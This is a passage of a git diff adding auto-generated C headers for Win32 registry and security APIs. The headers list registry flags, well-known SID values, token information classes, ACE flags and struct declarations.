PIR_STATUS_TABLE_NONE 0x3 +#define PIR_STATUS_TABLE_ERROR 0x4 +#define PIR_STATUS_TABLE_BAD 0x5 +#define PIR_STATUS_TABLE_SUCCESS 0x6 +#define PIR_STATUS_TABLE_MAX 0x7 +#define PIR_STATUS_MINIPORT_NORMAL 0x0 +#define PIR_STATUS_MINIPORT_COMPATIBLE 0x1 +#define PIR_STATUS_MINIPORT_OVERRIDE 0x2 +#define PIR_STATUS_MINIPORT_NONE 0x3 +#define PIR_STATUS_MINIPORT_ERROR 0x4 +#define PIR_STATUS_MINIPORT_NOKEY 0x5 +#define PIR_STATUS_MINIPORT_SUCCESS 0x6 +#define PIR_STATUS_MINIPORT_INVALID 0x7 +#define PIR_STATUS_MINIPORT_MAX 0x8 +// SKIPPED const REGSTR_PATH_LASTGOOD: non-integer constant +// SKIPPED const REGSTR_PATH_LASTGOODTMP: non-integer constant +#define LASTGOOD_OPERATION 0xff +#define LASTGOOD_OPERATION_NOPOSTPROC 0x0 +#define LASTGOOD_OPERATION_DELETE 0x1 +#define REG_FORCE_RESTORE 8 +#define REG_WHOLE_HIVE_VOLATILE 1 +#define REG_NONE 0x0 +#define REG_SZ 0x1 +#define REG_EXPAND_SZ 0x2 +#define REG_BINARY 0x3 +#define REG_DWORD 0x4 +#define REG_DWORD_LITTLE_ENDIAN 0x4 +#define REG_DWORD_BIG_ENDIAN 0x5 +#define REG_LINK 0x6 +#define REG_MULTI_SZ 0x7 +#define REG_RESOURCE_LIST 0x8 +#define REG_FULL_RESOURCE_DESCRIPTOR 0x9 +#define REG_RESOURCE_REQUIREMENTS_LIST 0xa +#define REG_QWORD 0xb +#define REG_QWORD_LITTLE_ENDIAN 0xb +#define REG_CREATED_NEW_KEY 0x1 +#define REG_OPENED_EXISTING_KEY 0x2 +#define REG_NOTIFY_CHANGE_NAME 0x1 +#define REG_NOTIFY_CHANGE_ATTRIBUTES 0x2 +#define REG_NOTIFY_CHANGE_LAST_SET 0x4 +#define REG_NOTIFY_CHANGE_SECURITY 0x8 +#define REG_NOTIFY_THREAD_AGNOSTIC 0x10000000 +#define RRF_RT_DWORD 0x18 +#define RRF_RT_QWORD 0x48 +#define RRF_RT_REG_NONE 0x1 +#define RRF_RT_REG_SZ 0x2 +#define RRF_RT_REG_EXPAND_SZ 0x4 +#define RRF_RT_REG_BINARY 0x8 +#define RRF_RT_REG_DWORD 0x10 +#define RRF_RT_REG_MULTI_SZ 0x20 +#define RRF_RT_REG_QWORD 0x40 +#define RRF_RT_ANY 0xffff +#define RRF_SUBKEY_WOW6464KEY 0x10000 +#define RRF_SUBKEY_WOW6432KEY 0x20000 +#define RRF_WOW64_MASK 0x30000 +#define RRF_NOEXPAND 0x10000000 +#define RRF_ZEROONFAILURE 0x20000000 +#define REG_STANDARD_FORMAT 0x1 +#define REG_LATEST_FORMAT 0x2 +#define REG_NO_COMPRESSION 0x4 +#define KEY_QUERY_VALUE 0x1 +#define KEY_SET_VALUE 0x2 +#define KEY_CREATE_SUB_KEY 0x4 +#define KEY_ENUMERATE_SUB_KEYS 0x8 +#define KEY_NOTIFY 0x10 +#define KEY_CREATE_LINK 0x20 +#define KEY_WOW64_32KEY 0x200 +#define KEY_WOW64_64KEY 0x100 +#define KEY_WOW64_RES 0x300 +#define KEY_READ 0x20019 +#define KEY_WRITE 0x20006 +#define KEY_EXECUTE 0x20019 +#define KEY_ALL_ACCESS 0xf003f +#define REG_OPTION_RESERVED 0x0 +#define REG_OPTION_NON_VOLATILE 0x0 +#define REG_OPTION_VOLATILE 0x1 +#define REG_OPTION_CREATE_LINK 0x2 +#define REG_OPTION_BACKUP_RESTORE 0x4 +#define REG_OPTION_OPEN_LINK 0x8 +#define REG_OPTION_DONT_VIRTUALIZE 0x10 + +typedef struct _VALENTA { + void* ve_valuename; + unsigned int ve_valuelen; + unsigned long long ve_valueptr; + void* ve_type; +} VALENTA; + +typedef struct _val_context { + int valuelen; + void* value_context; + void* val_buff_ptr; +} val_context; + +typedef struct _PVALUEW { + void* pv_valuename; + int pv_valuelen; + void* pv_value_context; + unsigned int pv_type; +} PVALUEW; + +typedef struct _VALENTW { + void* ve_valuename; + unsigned int ve_valuelen; + unsigned long long ve_valueptr; + void* ve_type; +} VALENTW; + +typedef struct _REG_PROVIDER { + void* pi_R0_1val; + void* pi_R0_allvals; + void* pi_R3_1val; + void* pi_R3_allvals; + unsigned int pi_flags; + void* pi_key_context; +} REG_PROVIDER; + +typedef struct _HKEY { + void* Value; +} HKEY; + +typedef struct _PVALUEA { + void* pv_valuename; + int pv_valuelen; + void* pv_value_context; + unsigned int pv_type; +} PVALUEA; + +typedef struct _DSKTLSYSTEMTIME { + unsigned short wYear; + unsigned short wMonth; + unsigned short wDayOfWeek; + unsigned short wDay; + unsigned short wHour; + unsigned short wMinute; + unsigned short wSecond; + unsigned short wMilliseconds; + unsigned short wResult; +} DSKTLSYSTEMTIME; + diff --git a/stdlib/win32/security.h b/stdlib/win32/security.h new file mode 100644 index 0000000..1c5fc0f --- /dev/null +++ b/stdlib/win32/security.h @@ -0,0 +1,890 @@ +// Generated by entc-win32gen from `Windows.Win32.Security`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define SECURITY_DYNAMIC_TRACKING 0x1 +#define SECURITY_STATIC_TRACKING 0x0 +#define SECURITY_MAX_SID_SIZE 0x44 +// SKIPPED const SE_CREATE_TOKEN_NAME: non-integer constant +// SKIPPED const SE_ASSIGNPRIMARYTOKEN_NAME: non-integer constant +// SKIPPED const SE_LOCK_MEMORY_NAME: non-integer constant +// SKIPPED const SE_INCREASE_QUOTA_NAME: non-integer constant +// SKIPPED const SE_UNSOLICITED_INPUT_NAME: non-integer constant +// SKIPPED const SE_MACHINE_ACCOUNT_NAME: non-integer constant +// SKIPPED const SE_TCB_NAME: non-integer constant +// SKIPPED const SE_SECURITY_NAME: non-integer constant +// SKIPPED const SE_TAKE_OWNERSHIP_NAME: non-integer constant +// SKIPPED const SE_LOAD_DRIVER_NAME: non-integer constant +// SKIPPED const SE_SYSTEM_PROFILE_NAME: non-integer constant +// SKIPPED const SE_SYSTEMTIME_NAME: non-integer constant +// SKIPPED const SE_PROF_SINGLE_PROCESS_NAME: non-integer constant +// SKIPPED const SE_INC_BASE_PRIORITY_NAME: non-integer constant +// SKIPPED const SE_CREATE_PAGEFILE_NAME: non-integer constant +// SKIPPED const SE_CREATE_PERMANENT_NAME: non-integer constant +// SKIPPED const SE_BACKUP_NAME: non-integer constant +// SKIPPED const SE_RESTORE_NAME: non-integer constant +// SKIPPED const SE_SHUTDOWN_NAME: non-integer constant +// SKIPPED const SE_DEBUG_NAME: non-integer constant +// SKIPPED const SE_AUDIT_NAME: non-integer constant +// SKIPPED const SE_SYSTEM_ENVIRONMENT_NAME: non-integer constant +// SKIPPED const SE_CHANGE_NOTIFY_NAME: non-integer constant +// SKIPPED const SE_REMOTE_SHUTDOWN_NAME: non-integer constant +// SKIPPED const SE_UNDOCK_NAME: non-integer constant +// SKIPPED const SE_SYNC_AGENT_NAME: non-integer constant +// SKIPPED const SE_ENABLE_DELEGATION_NAME: non-integer constant +// SKIPPED const SE_MANAGE_VOLUME_NAME: non-integer constant +// SKIPPED const SE_IMPERSONATE_NAME: non-integer constant +// SKIPPED const SE_CREATE_GLOBAL_NAME: non-integer constant +// SKIPPED const SE_TRUSTED_CREDMAN_ACCESS_NAME: non-integer constant +// SKIPPED const SE_RELABEL_NAME: non-integer constant +// SKIPPED const SE_INC_WORKING_SET_NAME: non-integer constant +// SKIPPED const SE_TIME_ZONE_NAME: non-integer constant +// SKIPPED const SE_CREATE_SYMBOLIC_LINK_NAME: non-integer constant +// SKIPPED const SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME: non-integer constant +// SKIPPED const wszCERTENROLLSHAREPATH: non-integer constant +#define cwcHRESULTSTRING 0x28 +// SKIPPED const szLBRACE: non-integer constant +// SKIPPED const szRBRACE: non-integer constant +// SKIPPED const wszLBRACE: non-integer constant +// SKIPPED const wszRBRACE: non-integer constant +// SKIPPED const szLPAREN: non-integer constant +// SKIPPED const szRPAREN: non-integer constant +// SKIPPED const wszLPAREN: non-integer constant +// SKIPPED const wszRPAREN: non-integer constant +#define CVT_SECONDS 0x1 +#define cwcFILENAMESUFFIXMAX 0x14 +// SKIPPED const wszFCSAPARM_SERVERDNSNAME: non-integer constant +// SKIPPED const wszFCSAPARM_SERVERSHORTNAME: non-integer constant +// SKIPPED const wszFCSAPARM_SANITIZEDCANAME: non-integer constant +// SKIPPED const wszFCSAPARM_CERTFILENAMESUFFIX: non-integer constant +// SKIPPED const wszFCSAPARM_DOMAINDN: non-integer constant +// SKIPPED const wszFCSAPARM_CONFIGDN: non-integer constant +// SKIPPED const wszFCSAPARM_SANITIZEDCANAMEHASH: non-integer constant +// SKIPPED const wszFCSAPARM_CRLFILENAMESUFFIX: non-integer constant +// SKIPPED const wszFCSAPARM_CRLDELTAFILENAMESUFFIX: non-integer constant +// SKIPPED const wszFCSAPARM_DSCRLATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSCACERTATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSUSERCERTATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSKRACERTATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSCROSSCERTPAIRATTRIBUTE: non-integer constant +#define SIGNING_LEVEL_FILE_CACHE_FLAG_NOT_VALIDATED 0x1 +#define SIGNING_LEVEL_FILE_CACHE_FLAG_VALIDATE_ONLY 0x4 +#define SIGNING_LEVEL_MICROSOFT 0x8 +#define SEF_AVOID_OWNER_CHECK 0x10 +#define SEF_AVOID_OWNER_RESTRICTION 0x1000 +#define SEF_AVOID_PRIVILEGE_CHECK 0x8 +#define SEF_DACL_AUTO_INHERIT 0x1 +#define SEF_DEFAULT_DESCRIPTOR_FOR_OBJECT 0x4 +#define SEF_DEFAULT_GROUP_FROM_PARENT 0x40 +#define SEF_DEFAULT_OWNER_FROM_PARENT 0x20 +#define SEF_MACL_NO_EXECUTE_UP 0x400 +#define SEF_MACL_NO_READ_UP 0x200 +#define SEF_MACL_NO_WRITE_UP 0x100 +#define SEF_SACL_AUTO_INHERIT 0x2 +#define TOKEN_MANDATORY_POLICY_OFF 0x0 +#define TOKEN_MANDATORY_POLICY_NO_WRITE_UP 0x1 +#define TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN 0x2 +#define TOKEN_MANDATORY_POLICY_VALID_MASK 0x3 +#define ACE_OBJECT_TYPE_PRESENT 0x1 +#define ACE_INHERITED_OBJECT_TYPE_PRESENT 0x2 +#define ENUM_PERIOD_INVALID -1 +#define ENUM_PERIOD_SECONDS 0 +#define ENUM_PERIOD_MINUTES 1 +#define ENUM_PERIOD_HOURS 2 +#define ENUM_PERIOD_DAYS 3 +#define ENUM_PERIOD_WEEKS 4 +#define ENUM_PERIOD_MONTHS 5 +#define ENUM_PERIOD_YEARS 6 +#define WinNullSid 0 +#define WinWorldSid 1 +#define WinLocalSid 2 +#define WinCreatorOwnerSid 3 +#define WinCreatorGroupSid 4 +#define WinCreatorOwnerServerSid 5 +#define WinCreatorGroupServerSid 6 +#define WinNtAuthoritySid 7 +#define WinDialupSid 8 +#define WinNetworkSid 9 +#define WinBatchSid 10 +#define WinInteractiveSid 11 +#define WinServiceSid 12 +#define WinAnonymousSid 13 +#define WinProxySid 14 +#define WinEnterpriseControllersSid 15 +#define WinSelfSid 16 +#define WinAuthenticatedUserSid 17 +#define WinRestrictedCodeSid 18 +#define WinTerminalServerSid 19 +#define WinRemoteLogonIdSid 20 +#define WinLogonIdsSid 21 +#define WinLocalSystemSid 22 +#define WinLocalServiceSid 23 +#define WinNetworkServiceSid 24 +#define WinBuiltinDomainSid 25 +#define WinBuiltinAdministratorsSid 26 +#define WinBuiltinUsersSid 27 +#define WinBuiltinGuestsSid 28 +#define WinBuiltinPowerUsersSid 29 +#define WinBuiltinAccountOperatorsSid 30 +#define WinBuiltinSystemOperatorsSid 31 +#define WinBuiltinPrintOperatorsSid 32 +#define WinBuiltinBackupOperatorsSid 33 +#define WinBuiltinReplicatorSid 34 +#define WinBuiltinPreWindows2000CompatibleAccessSid 35 +#define WinBuiltinRemoteDesktopUsersSid 36 +#define WinBuiltinNetworkConfigurationOperatorsSid 37 +#define WinAccountAdministratorSid 38 +#define WinAccountGuestSid 39 +#define WinAccountKrbtgtSid 40 +#define WinAccountDomainAdminsSid 41 +#define WinAccountDomainUsersSid 42 +#define WinAccountDomainGuestsSid 43 +#define WinAccountComputersSid 44 +#define WinAccountControllersSid 45 +#define WinAccountCertAdminsSid 46 +#define WinAccountSchemaAdminsSid 47 +#define WinAccountEnterpriseAdminsSid 48 +#define WinAccountPolicyAdminsSid 49 +#define WinAccountRasAndIasServersSid 50 +#define WinNTLMAuthenticationSid 51 +#define WinDigestAuthenticationSid 52 +#define WinSChannelAuthenticationSid 53 +#define WinThisOrganizationSid 54 +#define WinOtherOrganizationSid 55 +#define WinBuiltinIncomingForestTrustBuildersSid 56 +#define WinBuiltinPerfMonitoringUsersSid 57 +#define WinBuiltinPerfLoggingUsersSid 58 +#define WinBuiltinAuthorizationAccessSid 59 +#define WinBuiltinTerminalServerLicenseServersSid 60 +#define WinBuiltinDCOMUsersSid 61 +#define WinBuiltinIUsersSid 62 +#define WinIUserSid 63 +#define WinBuiltinCryptoOperatorsSid 64 +#define WinUntrustedLabelSid 65 +#define WinLowLabelSid 66 +#define WinMediumLabelSid 67 +#define WinHighLabelSid 68 +#define WinSystemLabelSid 69 +#define WinWriteRestrictedCodeSid 70 +#define WinCreatorOwnerRightsSid 71 +#define WinCacheablePrincipalsGroupSid 72 +#define WinNonCacheablePrincipalsGroupSid 73 +#define WinEnterpriseReadonlyControllersSid 74 +#define WinAccountReadonlyControllersSid 75 +#define WinBuiltinEventLogReadersGroup 76 +#define WinNewEnterpriseReadonlyControllersSid 77 +#define WinBuiltinCertSvcDComAccessGroup 78 +#define WinMediumPlusLabelSid 79 +#define WinLocalLogonSid 80 +#define WinConsoleLogonSid 81 +#define WinThisOrganizationCertificateSid 82 +#define WinApplicationPackageAuthoritySid 83 +#define WinBuiltinAnyPackageSid 84 +#define WinCapabilityInternetClientSid 85 +#define WinCapabilityInternetClientServerSid 86 +#define WinCapabilityPrivateNetworkClientServerSid 87 +#define WinCapabilityPicturesLibrarySid 88 +#define WinCapabilityVideosLibrarySid 89 +#define WinCapabilityMusicLibrarySid 90 +#define WinCapabilityDocumentsLibrarySid 91 +#define WinCapabilitySharedUserCertificatesSid 92 +#define WinCapabilityEnterpriseAuthenticationSid 93 +#define WinCapabilityRemovableStorageSid 94 +#define WinBuiltinRDSRemoteAccessServersSid 95 +#define WinBuiltinRDSEndpointServersSid 96 +#define WinBuiltinRDSManagementServersSid 97 +#define WinUserModeDriversSid 98 +#define WinBuiltinHyperVAdminsSid 99 +#define WinAccountCloneableControllersSid 100 +#define WinBuiltinAccessControlAssistanceOperatorsSid 101 +#define WinBuiltinRemoteManagementUsersSid 102 +#define WinAuthenticationAuthorityAssertedSid 103 +#define WinAuthenticationServiceAssertedSid 104 +#define WinLocalAccountSid 105 +#define WinLocalAccountAndAdministratorSid 106 +#define WinAccountProtectedUsersSid 107 +#define WinCapabilityAppointmentsSid 108 +#define WinCapabilityContactsSid 109 +#define WinAccountDefaultSystemManagedSid 110 +#define WinBuiltinDefaultSystemManagedGroupSid 111 +#define WinBuiltinStorageReplicaAdminsSid 112 +#define WinAccountKeyAdminsSid 113 +#define WinAccountEnterpriseKeyAdminsSid 114 +#define WinAuthenticationKeyTrustSid 115 +#define WinAuthenticationKeyPropertyMFASid 116 +#define WinAuthenticationKeyPropertyAttestationSid 117 +#define WinAuthenticationFreshKeyAuthSid 118 +#define WinBuiltinDeviceOwnersSid 119 +#define WinBuiltinUserModeHardwareOperatorsSid 120 +#define WinBuiltinOpenSSHUsersSid 121 +#define TokenElevationTypeDefault 1 +#define TokenElevationTypeFull 2 +#define TokenElevationTypeLimited 3 +#define CLAIM_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x1 +#define CLAIM_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x2 +#define CLAIM_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x4 +#define CLAIM_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x8 +#define CLAIM_SECURITY_ATTRIBUTE_DISABLED 0x10 +#define CLAIM_SECURITY_ATTRIBUTE_MANDATORY 0x20 +#define DISABLE_MAX_PRIVILEGE 0x1 +#define SANDBOX_INERT 0x2 +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICTED 0x8 +#define LOGON32_PROVIDER_DEFAULT 0x0 +#define LOGON32_PROVIDER_WINNT50 0x3 +#define LOGON32_PROVIDER_WINNT40 0x2 +#define SecurityAnonymous 0 +#define SecurityIdentification 1 +#define SecurityImpersonation 2 +#define SecurityDelegation 3 +#define AuditEventObjectAccess 0 +#define AuditEventDirectoryServiceAccess 1 +#define SidTypeUser 1 +#define SidTypeGroup 2 +#define SidTypeDomain 3 +#define SidTypeAlias 4 +#define SidTypeWellKnownGroup 5 +#define SidTypeDeletedAccount 6 +#define SidTypeInvalid 7 +#define SidTypeUnknown 8 +#define SidTypeComputer 9 +#define SidTypeLabel 10 +#define SidTypeLogonSession 11 +#define SE_PRIVILEGE_ENABLED 0x2 +#define SE_PRIVILEGE_ENABLED_BY_DEFAULT 0x1 +#define SE_PRIVILEGE_REMOVED 0x4 +#define SE_PRIVILEGE_USED_FOR_ACCESS 0x80000000 +#define ACL_REVISION 0x2 +#define ACL_REVISION_DS 0x4 +#define TokenPrimary 1 +#define TokenImpersonation 2 +#define TokenUser 1 +#define TokenGroups 2 +#define TokenPrivileges 3 +#define TokenOwner 4 +#define TokenPrimaryGroup 5 +#define TokenDefaultDacl 6 +#define TokenSource 7 +#define TokenType 8 +#define TokenImpersonationLevel 9 +#define TokenStatistics 10 +#define TokenRestrictedSids 11 +#define TokenSessionId 12 +#define TokenGroupsAndPrivileges 13 +#define TokenSessionReference 14 +#define TokenSandBoxInert 15 +#define TokenAuditPolicy 16 +#define TokenOrigin 17 +#define TokenElevationType 18 +#define TokenLinkedToken 19 +#define TokenElevation 20 +#define TokenHasRestrictions 21 +#define TokenAccessInformation 22 +#define TokenVirtualizationAllowed 23 +#define TokenVirtualizationEnabled 24 +#define TokenIntegrityLevel 25 +#define TokenUIAccess 26 +#define TokenMandatoryPolicy 27 +#define TokenLogonSid 28 +#define TokenIsAppContainer 29 +#define TokenCapabilities 30 +#define TokenAppContainerSid 31 +#define TokenAppContainerNumber 32 +#define TokenUserClaimAttributes 33 +#define TokenDeviceClaimAttributes 34 +#define TokenRestrictedUserClaimAttributes 35 +#define TokenRestrictedDeviceClaimAttributes 36 +#define TokenDeviceGroups 37 +#define TokenRestrictedDeviceGroups 38 +#define TokenSecurityAttributes 39 +#define TokenIsRestricted 40 +#define TokenProcessTrustLevel 41 +#define TokenPrivateNameSpace 42 +#define TokenSingletonAttributes 43 +#define TokenBnoIsolation 44 +#define TokenChildProcessFlags 45 +#define TokenIsLessPrivilegedAppContainer 46 +#define TokenIsSandboxed 47 +#define TokenIsAppSilo 48 +#define TokenLoggingInformation 49 +#define TokenLearningMode 50 +#define MaxTokenInfoClass 51 +#define CONTAINER_INHERIT_ACE 0x2 +#define FAILED_ACCESS_ACE_FLAG 0x80 +#define INHERIT_ONLY_ACE 0x8 +#define INHERITED_ACE 0x10 +#define NO_PROPAGATE_INHERIT_ACE 0x4 +#define OBJECT_INHERIT_ACE 0x1 +#define SUCCESSFUL_ACCESS_ACE_FLAG 0x40 +#define SUB_CONTAINERS_AND_OBJECTS_INHERIT 0x3 +#define SUB_CONTAINERS_ONLY_INHERIT 0x2 +#define SUB_OBJECTS_ONLY_INHERIT 0x1 +#define INHERIT_NO_PROPAGATE 0x4 +#define INHERIT_ONLY 0x8 +#define NO_INHERITANCE 0x0 +#define ATTRIBUTE_SECURITY_INFORMATION 0x20 +#define BACKUP_SECURITY_INFORMATION 0x10000 +#define DACL_SECURITY_INFORMATION 0x4 +#define GROUP_SECURITY_INFORMATION 0x2 +#define LABEL_SECURITY_INFORMATION 0x10 +#define OWNER_SECURITY_INFORMATION 0x1 +#define PROTECTED_DACL_SECURITY_INFORMATION 0x80000000 +#define PROTECTED_SACL_SECURITY_INFORMATION 0x40000000 +#define SACL_SECURITY_INFORMATION 0x8 +#define SCOPE_SECURITY_INFORMATION 0x40 +#define UNPROTECTED_DACL_SECURITY_INFORMATION 0x20000000 +#define UNPROTECTED_SACL_SECURITY_INFORMATION 0x10000000 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_INT64 0x1 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_UINT64 0x2 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_STRING 0x3 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_FQBN 0x4 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_SID 0x5 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x6 +#define LOGON32_LOGON_BATCH 0x4 +#define LOGON32_LOGON_INTERACTIVE 0x2 +#define LOGON32_LOGON_NETWORK 0x3 +#define LOGON32_LOGON_NETWORK_CLEARTEXT 0x8 +#define LOGON32_LOGON_NEW_CREDENTIALS 0x9 +#define LOGON32_LOGON_SERVICE 0x5 +#define LOGON32_LOGON_UNLOCK 0x7 +#define MandatoryLevelUntrusted 0 +#define MandatoryLevelLow 1 +#define MandatoryLevelMedium 2 +#define MandatoryLevelHigh 3 +#define MandatoryLevelSystem 4 +#define MandatoryLevelSecureProcess 5 +#define MandatoryLevelCount 6 +#define AclRevisionInformation 1 +#define AclSizeInformation 2 +#define TOKEN_DELETE 0x10000 +#define TOKEN_READ_CONTROL 0x20000 +#define TOKEN_WRITE_DAC 0x40000 +#define TOKEN_WRITE_OWNER 0x80000 +#define TOKEN_ACCESS_SYSTEM_SECURITY 0x1000000 +#define TOKEN_ASSIGN_PRIMARY 0x1 +#define TOKEN_DUPLICATE 0x2 +#define TOKEN_IMPERSONATE 0x4 +#define TOKEN_QUERY 0x8 +#define TOKEN_QUERY_SOURCE 0x10 +#define TOKEN_ADJUST_PRIVILEGES 0x20 +#define TOKEN_ADJUST_GROUPS 0x40 +#define TOKEN_ADJUST_DEFAULT 0x80 +#define TOKEN_ADJUST_SESSIONID 0x100 +#define TOKEN_READ 0x20008 +#define TOKEN_WRITE 0x200e0 +#define TOKEN_EXECUTE 0x20000 +#define TOKEN_TRUST_CONSTRAINT_MASK 0x20018 +#define TOKEN_ACCESS_PSEUDO_HANDLE_WIN8 0x18 +#define TOKEN_ACCESS_PSEUDO_HANDLE 0x18 +#define TOKEN_ALL_ACCESS 0xf01ff +#define SE_OWNER_DEFAULTED 0x1 +#define SE_GROUP_DEFAULTED 0x2 +#define SE_DACL_PRESENT 0x4 +#define SE_DACL_DEFAULTED 0x8 +#define SE_SACL_PRESENT 0x10 +#define SE_SACL_DEFAULTED 0x20 +#define SE_DACL_AUTO_INHERIT_REQ 0x100 +#define SE_SACL_AUTO_INHERIT_REQ 0x200 +#define SE_DACL_AUTO_INHERITED 0x400 +#define SE_SACL_AUTO_INHERITED 0x800 +#define SE_DACL_PROTECTED 0x1000 +#define SE_SACL_PROTECTED 0x2000 +#define SE_RM_CONTROL_VALID 0x4000 +#define SE_SELF_RELATIVE 0x8000 + +typedef struct _NCRYPT_STREAM_HANDLE { + void* Value; +} NCRYPT_STREAM_HANDLE; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_FQBN_VALUE { + unsigned long long Version; + void* Name; +} CLAIM_SECURITY_ATTRIBUTE_FQBN_VALUE; + +typedef struct _ACCESS_DENIED_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_DENIED_OBJECT_ACE; + +typedef struct _PSECURITY_DESCRIPTOR { + void* Value; +} PSECURITY_DESCRIPTOR; + +typedef struct _ACL { + unsigned char AclRevision; + unsigned char Sbz1; + unsigned short AclSize; + unsigned short AceCount; + unsigned short Sbz2; +} ACL; + +typedef struct _SYSTEM_AUDIT_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_AUDIT_CALLBACK_ACE; + +typedef struct _TOKEN_USER_CLAIMS { + void* UserClaims; +} TOKEN_USER_CLAIMS; + +typedef struct _SYSTEM_ALARM_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_ALARM_CALLBACK_OBJECT_ACE; + +typedef struct _SYSTEM_ALARM_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_ALARM_ACE; + +typedef struct _ACCESS_ALLOWED_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_ALLOWED_OBJECT_ACE; + +typedef struct _TOKEN_MANDATORY_LABEL { + void* Label; +} TOKEN_MANDATORY_LABEL; + +typedef struct _LUID_AND_ATTRIBUTES { + void* Luid; + void* Attributes; +} LUID_AND_ATTRIBUTES; + +typedef struct _CLAIM_SECURITY_ATTRIBUTES_INFORMATION { + unsigned short Version; + unsigned short Reserved; + unsigned int AttributeCount; + void* Attribute; +} CLAIM_SECURITY_ATTRIBUTES_INFORMATION; + +typedef struct _ACL_SIZE_INFORMATION { + unsigned int AceCount; + unsigned int AclBytesInUse; + unsigned int AclBytesFree; +} ACL_SIZE_INFORMATION; + +typedef struct _TOKEN_GROUPS { + unsigned int GroupCount; + void* Groups[1]; +} TOKEN_GROUPS; + +typedef struct _LLFILETIME { + void* Anonymous; +} LLFILETIME; + +typedef struct _SID_AND_ATTRIBUTES { + void* Sid; + unsigned int Attributes; +} SID_AND_ATTRIBUTES; + +typedef struct _TOKEN_SOURCE { + unsigned char SourceName[8]; + void* SourceIdentifier; +} TOKEN_SOURCE; + +typedef struct _SE_ACCESS_REPLY { + unsigned int Size; + unsigned int ResultListCount; + void* GrantedAccess; + void* AccessStatus; + void* AccessReason; + void* Privileges; +} SE_ACCESS_REPLY; + +typedef struct _ACCESS_DENIED_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_DENIED_CALLBACK_ACE; + +typedef struct _SE_IMPERSONATION_STATE { + void* Token; + BOOL CopyOnOpen; + BOOL EffectiveOnly; + void* Level; +} SE_IMPERSONATION_STATE; + +typedef struct _SECURITY_ATTRIBUTES { + unsigned int nLength; + void* lpSecurityDescriptor; + BOOL bInheritHandle; +} SECURITY_ATTRIBUTES; + +typedef struct _ACL_REVISION_INFORMATION { + unsigned int AclRevision; +} ACL_REVISION_INFORMATION; + +typedef struct _SID_AND_ATTRIBUTES_HASH { + unsigned int SidCount; + void* SidAttr; + unsigned long long Hash[32]; +} SID_AND_ATTRIBUTES_HASH; + +typedef struct _TOKEN_OWNER { + void* Owner; +} TOKEN_OWNER; + +typedef struct _TOKEN_ELEVATION { + unsigned int TokenIsElevated; +} TOKEN_ELEVATION; + +typedef struct _SE_SID { + void* Sid; + unsigned char Buffer[68]; +} SE_SID; + +typedef struct _ACCESS_DENIED_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_DENIED_CALLBACK_OBJECT_ACE; + +typedef struct _ACE_HEADER { + unsigned char AceType; + unsigned char AceFlags; + unsigned short AceSize; +} ACE_HEADER; + +typedef struct _PSID { + void* Value; +} PSID; + +typedef struct _SYSTEM_ALARM_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_ALARM_CALLBACK_ACE; + +typedef struct _SECURITY_DESCRIPTOR_RELATIVE { + unsigned char Revision; + unsigned char Sbz1; + void* Control; + unsigned int Owner; + unsigned int Group; + unsigned int Sacl; + unsigned int Dacl; +} SECURITY_DESCRIPTOR_RELATIVE; + +typedef struct _SAFER_LEVEL_HANDLE { + void* Value; +} SAFER_LEVEL_HANDLE; + +typedef struct _ACCESS_ALLOWED_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_ALLOWED_CALLBACK_OBJECT_ACE; + +typedef struct _TOKEN_PRIVILEGES { + unsigned int PrivilegeCount; + void* Privileges[1]; +} TOKEN_PRIVILEGES; + +typedef struct _TOKEN_GROUPS_AND_PRIVILEGES { + unsigned int SidCount; + unsigned int SidLength; + void* Sids; + unsigned int RestrictedSidCount; + unsigned int RestrictedSidLength; + void* RestrictedSids; + unsigned int PrivilegeCount; + unsigned int PrivilegeLength; + void* Privileges; + void* AuthenticationId; +} TOKEN_GROUPS_AND_PRIVILEGES; + +typedef struct _TOKEN_AUDIT_POLICY { + unsigned char PerUserPolicy[31]; +} TOKEN_AUDIT_POLICY; + +typedef struct _TOKEN_ORIGIN { + void* OriginatingLogonSession; +} TOKEN_ORIGIN; + +typedef struct _QUOTA_LIMITS { + unsigned long long PagedPoolLimit; + unsigned long long NonPagedPoolLimit; + unsigned long long MinimumWorkingSetSize; + unsigned 